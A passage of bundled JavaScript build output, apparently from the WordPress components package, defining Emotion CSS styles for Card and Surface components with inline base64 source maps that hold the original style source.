keyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkIH07XG5gO1xuIl19 */",
35312 toString: _EMOTION_STRINGIFIED_CSS_ERROR__18
35313 };
35314 var borderless = false ? {
35315 name: "1e1ncky",
35316 styles: "border:none"
35317 } : {
35318 name: "kyy9w8-borderless",
35319 styles: "border:none;label:borderless;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3RjZCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbi8vIFNpbmNlIHRoZSBib3JkZXIgZm9yIGBDYXJkYCBpcyByZW5kZXJlZCB2aWEgdGhlIGBib3gtc2hhZG93YCBwcm9wZXJ0eVxuLy8gKGFzIG9wcG9zZWQgdG8gdGhlIGBib3JkZXJgIHByb3BlcnR5KSwgdGhlIHZhbHVlIG9mIHRoZSBib3JkZXIgcmFkaXVzIG5lZWRzXG4vLyB0byBiZSBhZGp1c3RlZCBieSByZW1vdmluZyAxcHggKHRoaXMgaXMgYmVjYXVzZSB0aGUgYGJveC1zaGFkb3dgIHJlbmRlcnNcbi8vIGFzIGFuIFwib3V0ZXIgcmFkaXVzXCIpLlxuY29uc3QgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgPSBgY2FsYygkeyBDT05GSUcucmFkaXVzTGFyZ2UgfSAtIDFweClgO1xuXG5leHBvcnQgY29uc3QgQ2FyZCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgMXB4ICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0b3V0bGluZTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXIgPSBjc3NgXG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmxhc3QtY2hpbGQge1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBGb290ZXIgPSBjc3NgXG5cdGJvcmRlci10b3A6IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDb250ZW50ID0gY3NzYFxuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgQm9keSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiBhdXRvO1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXG5cdCYgPiBpbWcsXG5cdCYgPiBpZnJhbWUge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXgtd2lkdGg6IDEwMCU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyUmFkaXVzID0gY3NzYFxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQmOmxhc3Qtb2YtdHlwZSB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9yID0gY3NzYFxuXHRib3JkZXItY29sb3I6ICR7IENPTkZJRy5jb2xvckRpdmlkZXIgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3hTaGFkb3dsZXNzID0gY3NzYFxuXHRib3gtc2hhZG93OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlcmxlc3MgPSBjc3NgXG5cdGJvcmRlcjogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBhZGp1c3RlZEJvcmRlclJhZGl1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNoYWR5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkIH07XG5gO1xuIl19 */",
35320 toString: _EMOTION_STRINGIFIED_CSS_ERROR__18
35321 };
35322 var rounded = /* @__PURE__ */ css("border-radius:", adjustedBorderRadius, ";" + (false ? "" : ";label:rounded;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE0RjBCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbi8vIFNpbmNlIHRoZSBib3JkZXIgZm9yIGBDYXJkYCBpcyByZW5kZXJlZCB2aWEgdGhlIGBib3gtc2hhZG93YCBwcm9wZXJ0eVxuLy8gKGFzIG9wcG9zZWQgdG8gdGhlIGBib3JkZXJgIHByb3BlcnR5KSwgdGhlIHZhbHVlIG9mIHRoZSBib3JkZXIgcmFkaXVzIG5lZWRzXG4vLyB0byBiZSBhZGp1c3RlZCBieSByZW1vdmluZyAxcHggKHRoaXMgaXMgYmVjYXVzZSB0aGUgYGJveC1zaGFkb3dgIHJlbmRlcnNcbi8vIGFzIGFuIFwib3V0ZXIgcmFkaXVzXCIpLlxuY29uc3QgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgPSBgY2FsYygkeyBDT05GSUcucmFkaXVzTGFyZ2UgfSAtIDFweClgO1xuXG5leHBvcnQgY29uc3QgQ2FyZCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgMXB4ICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0b3V0bGluZTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXIgPSBjc3NgXG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmxhc3QtY2hpbGQge1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBGb290ZXIgPSBjc3NgXG5cdGJvcmRlci10b3A6IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDb250ZW50ID0gY3NzYFxuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgQm9keSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiBhdXRvO1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXG5cdCYgPiBpbWcsXG5cdCYgPiBpZnJhbWUge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXgtd2lkdGg6IDEwMCU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyUmFkaXVzID0gY3NzYFxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQmOmxhc3Qtb2YtdHlwZSB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9yID0gY3NzYFxuXHRib3JkZXItY29sb3I6ICR7IENPTkZJRy5jb2xvckRpdmlkZXIgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3hTaGFkb3dsZXNzID0gY3NzYFxuXHRib3gtc2hhZG93OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlcmxlc3MgPSBjc3NgXG5cdGJvcmRlcjogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBhZGp1c3RlZEJvcmRlclJhZGl1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNoYWR5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkIH07XG5gO1xuIl19 */");
35323 var shady = /* @__PURE__ */ css("background-color:", COLORS.ui.backgroundDisabled, ";" + (false ? "" : ";label:shady;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnR3dCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi91dGlscyc7XG5cbi8vIFNpbmNlIHRoZSBib3JkZXIgZm9yIGBDYXJkYCBpcyByZW5kZXJlZCB2aWEgdGhlIGBib3gtc2hhZG93YCBwcm9wZXJ0eVxuLy8gKGFzIG9wcG9zZWQgdG8gdGhlIGBib3JkZXJgIHByb3BlcnR5KSwgdGhlIHZhbHVlIG9mIHRoZSBib3JkZXIgcmFkaXVzIG5lZWRzXG4vLyB0byBiZSBhZGp1c3RlZCBieSByZW1vdmluZyAxcHggKHRoaXMgaXMgYmVjYXVzZSB0aGUgYGJveC1zaGFkb3dgIHJlbmRlcnNcbi8vIGFzIGFuIFwib3V0ZXIgcmFkaXVzXCIpLlxuY29uc3QgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgPSBgY2FsYygkeyBDT05GSUcucmFkaXVzTGFyZ2UgfSAtIDFweClgO1xuXG5leHBvcnQgY29uc3QgQ2FyZCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgMXB4ICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfTtcblx0b3V0bGluZTogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXIgPSBjc3NgXG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmxhc3QtY2hpbGQge1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBGb290ZXIgPSBjc3NgXG5cdGJvcmRlci10b3A6IDFweCBzb2xpZDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3A6IG5vbmU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBDb250ZW50ID0gY3NzYFxuXHRoZWlnaHQ6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgQm9keSA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiBhdXRvO1xuXHRtYXgtaGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuXG5cdCYgPiBpbWcsXG5cdCYgPiBpZnJhbWUge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdGhlaWdodDogYXV0bztcblx0XHRtYXgtd2lkdGg6IDEwMCU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBEaXZpZGVyID0gY3NzYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyUmFkaXVzID0gY3NzYFxuXHQmOmZpcnN0LW9mLXR5cGUge1xuXHRcdGJvcmRlci10b3AtbGVmdC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdFx0Ym9yZGVyLXRvcC1yaWdodC1yYWRpdXM6ICR7IGFkanVzdGVkQm9yZGVyUmFkaXVzIH07XG5cdH1cblxuXHQmOmxhc3Qtb2YtdHlwZSB7XG5cdFx0Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0XHRib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogJHsgYWRqdXN0ZWRCb3JkZXJSYWRpdXMgfTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckNvbG9yID0gY3NzYFxuXHRib3JkZXItY29sb3I6ICR7IENPTkZJRy5jb2xvckRpdmlkZXIgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3hTaGFkb3dsZXNzID0gY3NzYFxuXHRib3gtc2hhZG93OiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IGJvcmRlcmxlc3MgPSBjc3NgXG5cdGJvcmRlcjogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCByb3VuZGVkID0gY3NzYFxuXHRib3JkZXItcmFkaXVzOiAkeyBhZGp1c3RlZEJvcmRlclJhZGl1cyB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IHNoYWR5ID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkIH07XG5gO1xuIl19 */");
35324
35325 // packages/components/build-module/card/card/hook.mjs
35326 var import_deprecated11 = __toESM(require_deprecated(), 1);
35327 var import_element97 = __toESM(require_element(), 1);
35328
35329 // packages/components/build-module/surface/hook.mjs
35330 var import_element96 = __toESM(require_element(), 1);
35331
35332 // packages/components/build-module/surface/styles.mjs
35333 var Surface = /* @__PURE__ */ css("background-color:", config_values_default.surfaceColor, ";color:", COLORS.gray[900], ";position:relative;" + (false ? "" : ";label:Surface;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFXMEIiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgU3VyZmFjZVZhcmlhbnQsIFN1cmZhY2VQcm9wcyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgU3VyZmFjZSA9IGNzc2Bcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLnN1cmZhY2VDb2xvciB9O1xuXHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBiYWNrZ3JvdW5kID0gY3NzYFxuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGZ1bmN0aW9uIGdldEJvcmRlcnMoIHtcblx0Ym9yZGVyQm90dG9tLFxuXHRib3JkZXJMZWZ0LFxuXHRib3JkZXJSaWdodCxcblx0Ym9yZGVyVG9wLFxufTogUGljazxcblx0U3VyZmFjZVByb3BzLFxuXHQnYm9yZGVyQm90dG9tJyB8ICdib3JkZXJMZWZ0JyB8ICdib3JkZXJSaWdodCcgfCAnYm9yZGVyVG9wJ1xuPiApIHtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBgMXB4IHNvbGlkICR7IENPTkZJRy5zdXJmYWNlQm9yZGVyQ29sb3IgfWA7XG5cblx0cmV0dXJuIGNzcygge1xuXHRcdGJvcmRlckJvdHRvbTogYm9yZGVyQm90dG9tID8gYm9yZGVyU3R5bGUgOiB1bmRlZmluZWQsXG5cdFx0Ym9yZGVyTGVmdDogYm9yZGVyTGVmdCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlclJpZ2h0OiBib3JkZXJSaWdodCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlclRvcDogYm9yZGVyVG9wID8gYm9yZGVyU3R5bGUgOiB1bmRlZmluZWQsXG5cdH0gKTtcbn1cblxuZXhwb3J0IGNvbnN0IHByaW1hcnkgPSBjc3NgYDtcblxuZXhwb3J0IGNvbnN0IHNlY29uZGFyeSA9IGNzc2Bcblx0YmFja2dyb3VuZDogJHsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kVGludENvbG9yIH07XG5gO1xuXG5leHBvcnQgY29uc3QgdGVydGlhcnkgPSBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZFRlcnRpYXJ5Q29sb3IgfTtcbmA7XG5cbmNvbnN0IGN1c3RvbUJhY2tncm91bmRTaXplID0gKCBzdXJmYWNlQmFja2dyb3VuZFNpemU6IHN0cmluZyApID0+XG5cdFsgc3VyZmFjZUJhY2tncm91bmRTaXplLCBzdXJmYWNlQmFja2dyb3VuZFNpemUgXS5qb2luKCAnICcgKTtcblxuY29uc3QgZG90dGVkQmFja2dyb3VuZDEgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdCc5MGRlZycsXG5cdFx0WyBDT05GSUcuc3VyZmFjZUJhY2tncm91bmRDb2xvciwgc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkIF0uam9pbihcblx0XHRcdCcgJ1xuXHRcdCksXG5cdFx0J3RyYW5zcGFyZW50IDElJyxcblx0XS5qb2luKCAnLCcgKTtcblxuY29uc3QgZG90dGVkQmFja2dyb3VuZDIgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nICkgPT5cblx0W1xuXHRcdFsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IsIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZCBdLmpvaW4oXG5cdFx0XHQnICdcblx0XHQpLFxuXHRcdCd0cmFuc3BhcmVudCAxJScsXG5cdF0uam9pbiggJywnICk7XG5cbmNvbnN0IGRvdHRlZEJhY2tncm91bmRDb21iaW5lZCA9ICggc3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkOiBzdHJpbmcgKSA9PlxuXHRbXG5cdFx0YGxpbmVhci1ncmFkaWVudCggJHsgZG90dGVkQmFja2dyb3VuZDEoXG5cdFx0XHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWRcblx0XHQpIH0gKSBjZW50ZXJgLFxuXHRcdGBsaW5lYXItZ3JhZGllbnQoICR7IGRvdHRlZEJhY2tncm91bmQyKFxuXHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplRG90dGVkXG5cdFx0KSB9ICkgY2VudGVyYCxcblx0XHRDT05GSUcuc3VyZmFjZUJvcmRlckJvbGRDb2xvcixcblx0XS5qb2luKCAnLCcgKTtcblxuZXhwb3J0IGNvbnN0IGdldERvdHRlZCA9IChcblx0c3VyZmFjZUJhY2tncm91bmRTaXplOiBzdHJpbmcsXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZURvdHRlZDogc3RyaW5nXG4pID0+IGNzc2Bcblx0YmFja2dyb3VuZDogJHsgZG90dGVkQmFja2dyb3VuZENvbWJpbmVkKCBzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQgKSB9O1xuXHRiYWNrZ3JvdW5kLXNpemU6ICR7IGN1c3RvbUJhY2tncm91bmRTaXplKCBzdXJmYWNlQmFja2dyb3VuZFNpemUgKSB9O1xuYDtcblxuY29uc3QgZ3JpZEJhY2tncm91bmQxID0gW1xuXHRgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJTdWJ0bGVDb2xvciB9IDFweGAsXG5cdCd0cmFuc3BhcmVudCAxcHgnLFxuXS5qb2luKCAnLCcgKTtcblxuY29uc3QgZ3JpZEJhY2tncm91bmQyID0gW1xuXHQnOTBkZWcnLFxuXHRgJHsgQ09ORklHLnN1cmZhY2VCb3JkZXJTdWJ0bGVDb2xvciB9IDFweGAsXG5cdCd0cmFuc3BhcmVudCAxcHgnLFxuXS5qb2luKCAnLCcgKTtcblxuY29uc3QgZ3JpZEJhY2tncm91bmRDb21iaW5lZCA9IFtcblx0YGxpbmVhci1ncmFkaWVudCggJHsgZ3JpZEJhY2tncm91bmQxIH0gKWAsXG5cdGBsaW5lYXItZ3JhZGllbnQoICR7IGdyaWRCYWNrZ3JvdW5kMiB9IClgLFxuXS5qb2luKCAnLCcgKTtcblxuZXhwb3J0IGNvbnN0IGdldEdyaWQgPSAoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IENPTkZJRy5zdXJmYWNlQmFja2dyb3VuZENvbG9yIH07XG5cdFx0YmFja2dyb3VuZC1pbWFnZTogJHsgZ3JpZEJhY2tncm91bmRDb21iaW5lZCB9O1xuXHRcdGJhY2tncm91bmQtc2l6ZTogJHsgY3VzdG9tQmFja2dyb3VuZFNpemUoIHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZSApIH07XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0VmFyaWFudCA9IChcblx0dmFyaWFudDogU3VyZmFjZVZhcmlhbnQsXG5cdHN1cmZhY2VCYWNrZ3JvdW5kU2l6ZTogc3RyaW5nLFxuXHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWQ6IHN0cmluZ1xuKSA9PiB7XG5cdHN3aXRjaCAoIHZhcmlhbnQgKSB7XG5cdFx0Y2FzZSAnZG90dGVkJzoge1xuXHRcdFx0cmV0dXJuIGdldERvdHRlZChcblx0XHRcdFx0c3VyZmFjZUJhY2tncm91bmRTaXplLFxuXHRcdFx0XHRzdXJmYWNlQmFja2dyb3VuZFNpemVEb3R0ZWRcblx0XHRcdCk7XG5cdFx0fVxuXHRcdGNhc2UgJ2dyaWQnOiB7XG5cdFx0XHRyZXR1cm4gZ2V0R3JpZCggc3VyZmFjZUJhY2tncm91bmRTaXplICk7XG5cdFx0fVxuXHRcdGNhc2UgJ3ByaW1hcnknOiB7XG5cdFx0XHRyZXR1cm4gcHJpbWFyeTtcblx0XHR9XG5cdFx0Y2FzZSAnc2Vjb25kYXJ5Jzoge1xuXHRcdFx0cmV0dXJuIHNlY29uZGFyeTtcblx0XHR9XG5cdFx0Y2FzZSAndGVydGlhcnknOiB7XG5cdFx0XHRyZXR1cm4gdGVydGlhcnk7XG5cdFx0fVxuXHR9XG59O1xuIl19 */");
35334 var background = /* @__PURE__ */ css("background-color:", config_values_default.surfaceBackgroundColor, ";" + (false ? "" : ";label:background;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQjZCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IFN1cmZhY2VWYXJpYW50LCBTdXJmYWNlUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IFN1cmZhY2UgPSBjc3NgXG5cdGJhY2tncm91bmQtY29sb3I6ICR7IENPTkZJRy5zdXJmYWNlQ29sb3IgfTtcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA5MDAgXSB9O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgYmFja2dyb3VuZCA9IGNzc2Bcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLnN1cmZhY2VCYWNrZ3JvdW5kQ29sb3IgfTtcbmA7XG5cbmV4cG9ydCBmdW5jdGlvbiBnZXRCb3JkZXJzKCB7XG5cdGJvcmRlckJvdHRvbSxcblx0Ym9yZGVyTGVmdCxcblx0Ym9yZGVyUmlnaHQsXG5cdGJvcmRlclRvcCxcbn06IFBpY2s8XG5cdFN1cmZhY2VQcm9wcyxcblx0J2JvcmRlckJvdHRvbScgfCAnYm9yZGVyTGVmdCcgfCAnYm9yZGVyUmlnaHQnIHwgJ2JvcmRlclRvcCdcbj4gKSB7XG5cdGNvbnN0IGJvcmRlclN0eWxlID0gYDFweCBzb2xpZCAkeyBDT05GSUcuc3VyZmFjZUJvcmRlckNvbG9yIH1gO1xuXG5cdHJldHVybiBjc3MoIHtcblx0XHRib3JkZXJCb3R0b206IGJvcmRlckJvdHRvbSA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHRcdGJvcmRlckxlZnQ6IGJvcmRlckxlZnQgPyBib3JkZXJTdHlsZSA6IHVuZGVmaW5lZCxcblx0XHRib3JkZXJSaWdodDogYm9yZGVyUmlnaHQgPyBib3JkZXJTdHlsZSA6IHVuZGVmaW5lZCxcblx0XHRib3JkZXJUb3A6IGJvcmRlclRvcCA/IGJvcmRlclN0eWxlIDogdW5kZWZpbmVkLFxuXHR9ICk7XG59XG5cbmV4cG9ydCBjb25zdCBwcmltYXJ5ID0gY3NzYGA7XG5cbmV4cG9ydCBjb25zdCBzZWNvbmRhcnkgPSBjc3NgXG5cdGJhY2tncm91bmQ6ICR7IENPTkZJRy5z